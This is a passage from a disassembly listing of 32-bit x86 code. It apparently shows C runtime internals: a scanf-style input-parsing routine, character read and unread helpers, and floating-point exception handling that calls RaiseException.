					; sub_420BB0+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_421147
; ---------------------------------------------------------------------------


loc_4211AC:				; CODE XREF: sub_420BB0+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_4215B6
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_4211BE
		mov	[ebp+arg_4], edi


loc_4211BE:				; CODE XREF: sub_420BB0+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_421626
		pop	ecx
		pop	ecx


loc_4211D5:				; CODE XREF: sub_420BB0+6BCj
					; sub_420BB0+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_4211E9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_421285


loc_4211E9:				; CODE XREF: sub_420BB0+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_421279
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_421279
		cmp	[ebp+var_E], 0
		jnz	short loc_421271
		cmp	[ebp+var_16], 0
		jz	short loc_421266
		mov	ecx, off_43F618
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421245
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		pop	ecx
		mov	[ebp+var_37], al


loc_421245:				; CODE XREF: sub_420BB0+686j
		push	dword_43F824
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_42458B
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_421269
; ---------------------------------------------------------------------------


loc_421266:				; CODE XREF: sub_420BB0+673j
		mov	[esi], al
		inc	esi


loc_421269:				; CODE XREF: sub_420BB0+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_4211D5
; ---------------------------------------------------------------------------


loc_421271:				; CODE XREF: sub_420BB0+66Dj
		inc	[ebp+var_30]
		jmp	loc_4211D5
; ---------------------------------------------------------------------------


loc_421279:				; CODE XREF: sub_420BB0+649j
					; sub_420BB0+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421626
		pop	ecx
		pop	ecx


loc_421285:				; CODE XREF: sub_420BB0+633j
		cmp	[ebp+var_30], esi
		jz	loc_4215B6
		cmp	[ebp+var_E], 0
		jnz	loc_421517
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_421517
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_4212B7
		and	word ptr [eax],	0
		jmp	loc_421517
; ---------------------------------------------------------------------------


loc_4212B7:				; CODE XREF: sub_420BB0+6FCj
		and	byte ptr [eax],	0
		jmp	loc_421517
; ---------------------------------------------------------------------------


loc_4212BF:				; CODE XREF: sub_420BB0+466j
		mov	[ebp+var_D], 1


loc_4212C3:				; CODE XREF: sub_420BB0+203j
					; sub_420BB0+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_4212D1
		mov	[ebp+var_17], 1
		jmp	short loc_4212D6
; ---------------------------------------------------------------------------


loc_4212D1:				; CODE XREF: sub_420BB0+719j
		cmp	ebx, 2Bh
		jnz	short loc_4212F8


loc_4212D6:				; CODE XREF: sub_420BB0+71Fj
		dec	[ebp+var_C]
		jnz	short loc_4212E7
		cmp	[ebp+var_20], 0
		jz	short loc_4212E7
		mov	[ebp+var_F], 1
		jmp	short loc_4212F8
; ---------------------------------------------------------------------------


loc_4212E7:				; CODE XREF: sub_420BB0+729j
					; sub_420BB0+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C
		pop	ecx
		mov	ebx, eax


loc_4212F5:				; CODE XREF: sub_420BB0+543j
		mov	[ebp+var_14], ebx


loc_4212F8:				; CODE XREF: sub_420BB0+4FDj
					; sub_420BB0+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_421411
		cmp	[ebp+var_F], 0
		jnz	loc_4213EF


loc_42130C:				; CODE XREF: sub_420BB0+82Cj
		cmp	esi, 78h
		jnz	short loc_421360
		cmp	dword_43F824, 1
		jle	short loc_421329
		push	80h
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_421336
; ---------------------------------------------------------------------------


loc_421329:				; CODE XREF: sub_420BB0+768j
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421336:				; CODE XREF: sub_420BB0+777j
		test	eax, eax
		jz	loc_4213E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_424660
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_4215D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4213B3
; ---------------------------------------------------------------------------


loc_421360:				; CODE XREF: sub_420BB0+75Fj
		cmp	dword_43F824, 1
		jle	short loc_421375
		push	4
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_421380
; ---------------------------------------------------------------------------


loc_421375:				; CODE XREF: sub_420BB0+7B7j
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421380:				; CODE XREF: sub_420BB0+7C3j
		test	eax, eax
		jz	short loc_4213E1
		cmp	esi, 6Fh
		jnz	short loc_42139E
		cmp	ebx, 38h
		jge	short loc_4213E1
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_424660
		jmp	short loc_4213AD
; ---------------------------------------------------------------------------


loc_42139E:				; CODE XREF: sub_420BB0+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D920


loc_4213AD:				; CODE XREF: sub_420BB0+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_4213B3:				; CODE XREF: sub_420BB0+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_4213CB
		dec	[ebp+var_C]
		jz	short loc_4213EF


loc_4213CB:				; CODE XREF: sub_420BB0+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42130C
; ---------------------------------------------------------------------------


loc_4213E1:				; CODE XREF: sub_420BB0+788j
					; sub_420BB0+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421626
		pop	ecx
		pop	ecx


loc_4213EF:				; CODE XREF: sub_420BB0+756j
					; sub_420BB0+819j
		cmp	[ebp+var_17], 0
		jz	loc_4214D5
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_4214D5
; ---------------------------------------------------------------------------


loc_421411:				; CODE XREF: sub_420BB0+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_4214CD


loc_42141B:				; CODE XREF: sub_420BB0+90Aj
		cmp	esi, 78h
		jz	short loc_42145F
		cmp	esi, 70h
		jz	short loc_42145F
		cmp	dword_43F824, 1
		jle	short loc_42143A
		push	4
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_421445
; ---------------------------------------------------------------------------


loc_42143A:				; CODE XREF: sub_420BB0+87Cj
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_421445:				; CODE XREF: sub_420BB0+888j
		test	eax, eax
		jz	short loc_4214BF
		cmp	esi, 6Fh
		jnz	short loc_421458
		cmp	ebx, 38h
		jge	short loc_4214BF
		shl	edi, 3
		jmp	short loc_421497
; ---------------------------------------------------------------------------


loc_421458:				; CODE XREF: sub_420BB0+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_421497
; ---------------------------------------------------------------------------


loc_42145F:				; CODE XREF: sub_420BB0+86Ej
					; sub_420BB0+873j
		cmp	dword_43F824, 1
		jle	short loc_421477
		push	80h
		push	ebx
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_421484
; ---------------------------------------------------------------------------


loc_421477:				; CODE XREF: sub_420BB0+8B6j
		mov	eax, off_43F618
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_421484:				; CODE XREF: sub_420BB0+8C5j
		test	eax, eax
		jz	short loc_4214BF
		push	ebx
		shl	edi, 4
		call	sub_4215D5
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_421497:				; CODE XREF: sub_420BB0+8A6j
					; sub_420BB0+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_4214A9
		dec	[ebp+var_C]
		jz	short loc_4214CD


loc_4214A9:				; CODE XREF: sub_420BB0+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_42141B
; ---------------------------------------------------------------------------


loc_4214BF:				; CODE XREF: sub_420BB0+897j
					; sub_420BB0+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_421626
		pop	ecx
		pop	ecx


loc_4214CD:				; CODE XREF: sub_420BB0+865j
					; sub_420BB0+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_4214D5
		neg	edi


loc_4214D5:				; CODE XREF: sub_420BB0+843j
					; sub_420BB0+85Cj ...
		cmp	esi, 46h
		jnz	short loc_4214DE
		and	[ebp+var_1C], 0


loc_4214DE:				; CODE XREF: sub_420BB0+928j
		cmp	[ebp+var_1C], 0
		jz	loc_4215B6
		cmp	[ebp+var_E], 0
		jnz	short loc_421517
		inc	[ebp+var_34]


loc_4214F1:				; CODE XREF: sub_420BB0+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_421507
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_421517
; ---------------------------------------------------------------------------


loc_421507:				; CODE XREF: sub_420BB0+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_421514
		mov	[eax], edi
		jmp	short loc_421517
; ---------------------------------------------------------------------------


loc_421514:				; CODE XREF: sub_420BB0+95Ej
		mov	[eax], di


loc_421517:				; CODE XREF: sub_420BB0+241j
					; sub_420BB0+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_421564
; ---------------------------------------------------------------------------


loc_421522:				; CODE XREF: sub_420BB0+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_421591
		mov	ecx, off_43F618
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_421564
		inc	[ebp+var_4]
		push	edi
		call	sub_42160C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_42159F
		dec	[ebp+var_4]


loc_421564:				; CODE XREF: sub_420BB0+970j
					; sub_420BB0+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42157A
		cmp	byte ptr [esi],	25h
		jnz	short loc_4215BC
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_4215BC
		mov	esi, eax


loc_42157A:				; CODE XREF: sub_420BB0+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_420BDA
		jmp	short loc_4215B6
; ---------------------------------------------------------------------------


loc_421586:				; CODE XREF: sub_420BB0+1F4j
					; sub_420BB0+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_421596
; ---------------------------------------------------------------------------


loc_421591:				; CODE XREF: sub_420BB0+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_421596:				; CODE XREF: sub_420BB0+9DFj
		call	sub_421626
		pop	ecx
		pop	ecx
		jmp	short loc_4215B6
; ---------------------------------------------------------------------------


loc_42159F:				; CODE XREF: sub_420BB0+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_421626
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_421626
		add	esp, 10h


loc_4215B6:				; CODE XREF: sub_420BB0+1Fj
					; sub_420BB0+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_4215CD


loc_4215BC:				; CODE XREF: sub_420BB0+9BDj
					; sub_420BB0+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_4215D0
		cmp	[ebp+var_15], al
		jnz	short loc_4215D0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4215D0
; ---------------------------------------------------------------------------


loc_4215CD:				; CODE XREF: sub_420BB0+A0Aj
		mov	eax, [ebp+var_34]


loc_4215D0:				; CODE XREF: sub_420BB0+A11j
					; sub_420BB0+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420BB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215D5	proc near		; CODE XREF: sub_420BB0+7A3p
					; sub_420BB0+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43F824, 1
		push	esi
		jle	short loc_4215EF
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41FBB5
		pop	ecx
		pop	ecx
		jmp	short loc_4215FE
; ---------------------------------------------------------------------------


loc_4215EF:				; CODE XREF: sub_4215D5+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43F618
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4215FE:				; CODE XREF: sub_4215D5+18j
		test	eax, eax
		jnz	short loc_421608
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_421608:				; CODE XREF: sub_4215D5+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_4215D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42160C	proc near		; CODE XREF: sub_420BB0+1E1p
					; sub_420BB0+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_42161E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42161E:				; CODE XREF: sub_42160C+7j
		push	edx
		call	sub_41F6E3
		pop	ecx
		retn
sub_42160C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421626	proc near		; CODE XREF: sub_420BB0+6Bp
					; sub_420BB0+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_42163C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_42467F
		pop	ecx
		pop	ecx

locret_42163C:				; CODE XREF: sub_421626+5j
		retn
sub_421626	endp


; =============== S U B	R O U T	I N E =======================================



sub_42163D	proc near		; CODE XREF: sub_420BB0+63p
					; sub_420BB0+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_421643:				; CODE XREF: sub_42163D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_42160C
		mov	edi, eax
		push	edi
		call	sub_41DD10
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421643
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42163D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_421661(int,int,double,int)

sub_421661	proc near		; CODE XREF: sub_41CCE5+51p
					; sub_41CE2B+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43FF90, 0
		jnz	short loc_421696
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421C16
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421696:				; CODE XREF: sub_421661+Aj
		push	0FFFFh
		mov	dword_4DE5C4, 21h
		push	[ebp+arg_C]
		call	sub_421E89
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_421661	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4216B4(int,int,double,double,int)

sub_4216B4	proc near		; CODE XREF: sub_41CCE5:loc_41CDA8p
					; sub_41CE2B:loc_41CEEEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_4219FF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4216F2
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42174C
		add	esp, 18h


loc_4216F2:				; CODE XREF: sub_4216B4+1Aj
		push	[ebp+arg_0]
		call	sub_421CE9
		cmp	dword_43FF90, 0
		pop	ecx
		jnz	short loc_421730
		test	eax, eax
		jz	short loc_421730
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421C16
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421730:				; CODE XREF: sub_4216B4+4Ej
					; sub_4216B4+52j
		push	eax
		call	sub_421C9E
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_421E89
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_4216B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42174C	proc near		; CODE XREF: sub_4216B4+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42177E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42177E:				; CODE XREF: sub_42174C+23j
		test	cl, 2
		jz	short loc_421791
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_421791:				; CODE XREF: sub_42174C+35j
		test	cl, bl
		jz	short loc_4217A3
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_4217A3:				; CODE XREF: sub_42174C+47j
		test	cl, 4
		jz	short loc_4217B6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_4217B6:				; CODE XREF: sub_42174C+5Aj
		test	cl, 8
		jz	short loc_4217C9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_4217C9:				; CODE XREF: sub_42174C+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_421E6C
		test	al, bl
		jz	short loc_421852
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_421852:				; CODE XREF: sub_42174C+FDj
		test	al, 4
		jz	short loc_42185D
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_42185D:				; CODE XREF: sub_42174C+108j
		test	al, 8
		jz	short loc_421868
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_421868:				; CODE XREF: sub_42174C+113j
		test	al, 10h
		jz	short loc_421872
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_421872:				; CODE XREF: sub_42174C+11Ej
		test	al, 20h
		jz	short loc_42187C
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_42187C:				; CODE XREF: sub_42174C+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_4218BB
		cmp	eax, 400h
		jz	short loc_4218AD
		cmp	eax, 800h
		jz	short loc_4218A1
		cmp	eax, ecx
		jnz	short loc_4218C1
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_4218C1
; ---------------------------------------------------------------------------


loc_4218A1:				; CODE XREF: sub_42174C+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_4218B7
; ---------------------------------------------------------------------------


loc_4218AD:				; CODE XREF: sub_42174C+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_4218B7:				; CODE XREF: sub_42174C+15Fj
		mov	[eax], ecx
		jmp	short loc_4218C1
; ---------------------------------------------------------------------------


loc_4218BB:				; CODE XREF: sub_42174C+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_4218C1:				; CODE XREF: sub_42174C+14Bj
					; sub_42174C+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_4218EC
		cmp	eax, 200h
		jz	short loc_4218DF
		cmp	eax, ecx
		jnz	short loc_4218F9
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_4218F9
; ---------------------------------------------------------------------------


loc_4218DF:				; CODE XREF: sub_42174C+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_4218F7
; ---------------------------------------------------------------------------


loc_4218EC:				; CODE XREF: sub_42174C+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_4218F7:				; CODE XREF: sub_42174C+19Ej
		mov	[eax], ecx


loc_4218F9:				; CODE XREF: sub_42174C+189j
					; sub_42174C+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_421E7A
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_42805C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_421973
		and	dword ptr [esi], 0FFFFFFFEh


loc_421973:				; CODE XREF: sub_42174C+222j
		test	byte ptr [eax+8], 8
		jz	short loc_42197C
		and	dword ptr [esi], 0FFFFFFFBh


loc_42197C:				; CODE XREF: sub_42174C+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_421985
		and	dword ptr [esi], 0FFFFFFF7h


loc_421985:				; CODE XREF: sub_42174C+234j
		test	byte ptr [eax+8], 2
		jz	short loc_42198E
		and	dword ptr [esi], 0FFFFFFEFh


loc_42198E:				; CODE XREF: sub_42174C+23Dj
		test	[eax+8], bl
		jz	short loc_421996
		and	dword ptr [esi], 0FFFFFFDFh


loc_421996:				; CODE XREF: sub_42174C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_4219CA
		dec	ecx
		jz	short loc_4219BE
		dec	ecx
		jz	short loc_4219B4
		dec	ecx
		jnz	short loc_4219CC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_4219CC
; ---------------------------------------------------------------------------


loc_4219B4:				; CODE XREF: sub_42174C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_4219C6
; ---------------------------------------------------------------------------


loc_4219BE:				; CODE XREF: sub_42174C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_4219C6:				; CODE XREF: sub_42174C+270j
		mov	[esi], ecx
		jmp	short loc_4219CC
; ---------------------------------------------------------------------------


loc_4219CA:				; CODE XREF: sub_42174C+257j
		and	[esi], edx


loc_4219CC:				; CODE XREF: sub_42174C+260j
					; sub_42174C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_4219EC
		dec	ecx
		jz	short loc_4219E3
		dec	ecx
		jnz	short loc_4219F5
		and	[esi], edx
		jmp	short loc_4219F5
; ---------------------------------------------------------------------------


loc_4219E3:				; CODE XREF: sub_42174C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_4219F3
; ---------------------------------------------------------------------------


loc_4219EC:				; CODE XREF: sub_42174C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_4219F3:				; CODE XREF: sub_42174C+29Ej
		mov	[esi], ecx


loc_4219F5:				; CODE XREF: sub_42174C+291j
					; sub_42174C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42174C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219FF	proc near		; CODE XREF: sub_4216B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
